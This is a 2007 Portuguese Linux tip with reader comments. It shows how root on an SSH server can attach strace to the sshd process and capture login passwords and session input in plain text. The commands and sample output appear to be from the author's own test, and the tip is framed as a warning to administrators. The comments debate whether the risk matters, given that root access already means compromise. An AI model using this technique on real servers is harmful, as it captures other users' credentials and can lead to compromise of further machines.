Logotipo Dicas-L, por Ricardo Burile

Busca

Visite também: UnderLinux ·  VivaOLinux ·  LinuxSecurity ·  NoticiasLinux ·  BR-Linux ·  SoftwareLivre.org ·  [mais]   
 

Você está aqui: Home  → Arquivo Dicas-L

 

PHP CONFERENCE

Assine a Lista Dicas-L

Receba diariamente por email as dicas
de informática publicadas neste site
Para se descadastrar, clique aqui.

Sniffando o SSH com o Strace

Colaboração: Leandro Godoy

Data de Publicação: 11 de Maio de 2007

É possivel Sniffar as Conexões via SSH simplesmente escutando as chamadas System Calls do daemon SSHD. Existe um ponto de comunicação entre o SSHD e o Kernel, entre a Criptografia e a Descriptografia, em que os dados passam em Texto Plano (plain text) e este tráfego pode ser capturado com o uso do Strace.

1. Sniffando a Senha do Login:

  1. No servidor que está com o Server do SSH rodando descubra qual o pid do daemon sshd:
      Zion:~# ps aux | grep sshd | grep -v grep
      root      6097  0.0  0.1   4792  1076 ?        Ss   16:49   0:00 /usr/sbin/sshd
    
  2. De posse deste pid dispare o Strace (como root):

      Zion:~# strace -f -p 6097 -o snif_ssh.txt &
    

    Este comando irá logar no arquivo sniff_ssh.txt todas as chamadas do processo de pid 6097 (sshd). Uma lida no man do strace ajuda a entender e experimentar outras opções de filtragem e paãmetros.

  3. De um outro servidor, ou para fins de teste da mesma máquina, faça um ssh com um usuário qualquer:
      godoy@Zion:~$ ssh localhost
      Password: textoplano
      Last login: Mon May  7 17:01:15 2007 from localhost.localdomain
      godoy@Zion:~$
    
  4. Agora analíse as saídas que foram logadas no arquivo sniff_ssh.txt, procure pelas chamadas read ou write:
      Zion:~# cat snif_ssh.txt | grep read | more
      6521  write(4,  \0\0\0\1\0\0\0\ntextoplano , 18 <unfinished  >
      6520  <  read resumed>  7\0\0\0\1\0\0\0\ntextoplano , 19) = 19
      6520  write(7,  \0\0\0\ntextoplano , 14 <unfinished  >
      6522  <  read resumed>  \6\0\0\0\ntextoplano , 15) = 15
    

2. Sniffando as demais transferências de dados:

  1. Digite o seguinte comando, restringindo a busca as chamadas read e write:

      Zion:~# strace -f -p 6097 -o snif_ssh.txt -v -e trace=read,write -s 128 &
    

  2. Teste alguns comandos no cliente:
      godoy@Zion:~$ cat > teste.txt
      ======== OK =======
      Sniffou??
      ======= OK =======
      godoy@Zion:~$
    
  3. Verifique o log o servidor pesquisando por write ou read:
      Zion:~# cat snif_ssh.txt | grep  ===
      6586  <  read resumed>  ======== OK =======\n , 4096) = 20
      6586  write(1,  ======== OK =======\n , 20) = 20
      6586  <  read resumed>  ======= OK =======\n , 4096) = 19
      6586  write(1,  ======= OK =======\n , 19) = 19
      Zion:~# cat snif_ssh.txt | grep  Sniff
      6586  <  read resumed>  Sniffou??\n , 4096) = 10
      6586  write(1,  Sniffou??\n , 10)       = 10
      Zion:~#
    
    Como a saída do Strace é muito prolixa e pode rapidamente criar um arquivo bem grande, cabe aqui um script para filtrar melhor o log que será gravado no arquivo sniff_ssh.txt.

    Pode-se imaginar que é perfeitamente possível disparar tais comandos no lado do cliente!!

    E que também pode-se criar um rootkit que se aproveite desta comunicação de SystemCalls para pegar o tráfego entre o Servidor SSH e seus clientes.

    Portanto tome muito cuidado com os seus servidores SSH e coms seus clientes.
      Leandro Godoy
      Consultor de TI
      LPI Certified Level 2
      Mandriva Instructor Certified
      ITIL Foundation Certified
      http://www.blogmind.com.br/
    

Veja a relação completa dos artigos de Leandro Godoy

Stumble Upon Digg This Del.icio.us Twitter Recomendar este artigo a um amigo Entre em contato Formato PDF
Newsfeed RSS
Formato para impressão
StumbleUpon Digg Del.icio.us Twitter Recomendar Contato PDF RSS Imprimir

Referências Adicionais

Referências adicionais sobre os assuntos abordados neste site podem ser encontradas em nossa Bibliografia.

Avalie esta dica

  • Currently 3.02/5
  • 1
  • 2
  • 3
  • 4
  • 5

Avaliação: 3.0 /5 (670 votos)

Opinião dos Leitores

XOOM
09 Jun 2007, 11:14
Belo post.
Leandro Godoy
28 Mai 2007, 13:59
Não alimente os Trolls ...
André
11 Mai 2007, 11:41
Ótima dica. IMHO, atendeu o propósito para o qual foi escrita. É apenas uma dica, serve como alerta, bons administradores vão realizar uma pesquisa mais profunda do assunto. "Ridículo" é criticar e não complementar com nada de útil. ;)

Abraços.

Airon Fonteles
11 Mai 2007, 09:35
Vou adicionar aqui meus cents :) OK, root pode tudo e se alguém consegue acesso root a seu servidor (e vc descobre!), esqueça. Mas geralmente quem administra uma máquina, acessa outras mais (as vezes inclusive como administrador). Pelo que entendi, uma máquina comprometida pode levar ao comprometimento de várias outras pela descoberta das respectivas senhas de acesso. Vejam bem, uma coisa é a máquina estar comprometida e todos os seus recursos também. Outra coisa é este problema comprometer outros servidores. O que voces acham?
Joacelio
10 Mai 2007, 18:29
O comando strace é muito útil para depuração e identificação de problemas e acho que deve estar sempre instalado, e como Fábio Leite disse, uma vez que o root da máquina esteja comprometido tudo é possível. Uma vulnerabilidade maior é passar senhas em um comando, já que ela pode ser capturada com um simples "ps -efw" por qualquer usuário do sistema.
Fábio Olivé Leite
10 Mai 2007, 13:39
Me desculpem o balde de água fria, mas isto é ridículo. Se alguém tem root no _teu_ servidor, então o servidor não é mais _teu_. Se não se pode confiar no root de um servidor, não se pode confiar nele como um todo. Remover o comando strace é ridículo, pois seria necessário também remover a chamada de sistema ptrace, recompilando o kernel.

Qual será a próxima grande notícia? Que o root pode remover qualquer arquivo e o comando rm deve ser removido do sistema?

Abraços,
Fábio
Leandro Godoy
09 Mai 2007, 22:31
Ronaldo,

Minha fonte foi este mesmo paper e eu o referenciei como fonte no meu blog, no post original. Pode conferir!!

Everton,
Neste paper ensina comop fazer o mesmo processo do lado do cliente. Vale a leitura.

Antonio,
Tem que estar logado no servidor e como root.
A remoção do Strace é uma boa pedida em servidores de produção.

Abraços

www.blogmind.com.br
www.opencode.com.br
Éverton A. Ribeiro
09 Mai 2007, 12:43
Opa,

Testei aqui e funcionou perfeitamente, mas tem um porem, só funcionou para o usuário root, outros usuários não conseguem fazer este sniffer né?

Para que isto tivesse uma real utilização meu servidor (máquina com sshd) precisaria esta comprometido né? Do contrário isso não funcionaria...

Outra pergunta o possível fazer o mesmo na máquina cliente, ou seja capturar as informações do aplicativo ssh?
Ronaldo
09 Mai 2007, 09:22
Escrevi um post sobre isto no meu blog no dia 4 de Maio:

Segurança Wi-Fi: Quando nem SSH salva
http://brainsniffer.blogspot.com/2007/05/segurana-wi-fi-quando-nem-ssh-salva.html

A minha referencia foi John Bambenek, que escreveu um artigo interessante sobre isto em 2004:

Defeating Encryption
http://www.infosecwriters.com/texts.php?op=display&id=242

-Ronaldo
Antonio
09 Mai 2007, 07:16
Pelo que entendi, vc tem que estar logadono servidor.

Desabilitar estes comandos pode ser uma saída para proteger o servidor.

Você tem alguma sugestão para aumentar a segurança?

*Nome:
Email:
Me notifique sobre novos comentários nessa página
Oculte meu email
*Texto:
 
  Para publicar seu comentário, digite o código contido na imagem acima
 


Powered by Scriptsmill Comments Script

Aprenda Inglês em Casa
Metodo inovador e criativo, para quem tem pouco tempo. Veja os depoimentos de nossos alunos.
Saiba mais

Biblioteca

Desenvolvendo Websites com PHP
Por Juliano Niederauer

O Monge e o Executivo: uma História sobre a Essência da Liderança
Por James C. Hunter

Extreme Programming
Por Vinicius Manhaes Teles

UML: Guia do Usuário
Por Grady Booch, James Rumbaugh e Ivar Jacobson

O Vendedor de Sonhos
Por Augusto Cury

Segurança de Redes em Ambientes Cooperativos
Por Emilio Tissato Nakamura e Paulo Licio de Geus

O Conhecimento em Rede
Por Carlos Nepomuceno e Marcos Cavalcanti

Utilizando UML e Padrões
Por CRAIG LARMAN

Sistema de Banco de Dados
Por Abraham Silberschatz

Hardware PC: Guia de Aprendizagem Rápida
Por Carlos E. Morimoto

Manual Completo do Linux: Guia do Administrador
Por Evi Nemeth, Trent R. Hein, Garth Snyder

Redes de Computadores e a Internet
Por James F. Kurose e Keith W. Ross

O Segredo
Por Rhonda Byrne

Os Segredos da Mente Milionária
Por T. Harv Eker

Construindo Sites com CSS e (X)HTML
Por Mauricio Samy Silva

Use a Cabeça!: JSP & Servlets
Por Brian Bashan, Kathy Sierra, Bert Bates

Expressões Regulares: Uma Abordagem Divertida
Por Aurélio Marinho Jargas

Qualidade de Software
Por Andre Koscianski Michel dos Santos Soares

Descobrindo o Linux: Entenda o Sistema Operacional GNU/Linux
Por Joao Eriberto Mota Filho

Enterprise Javabeans 3.0
Por Bill Burke, Richard Monson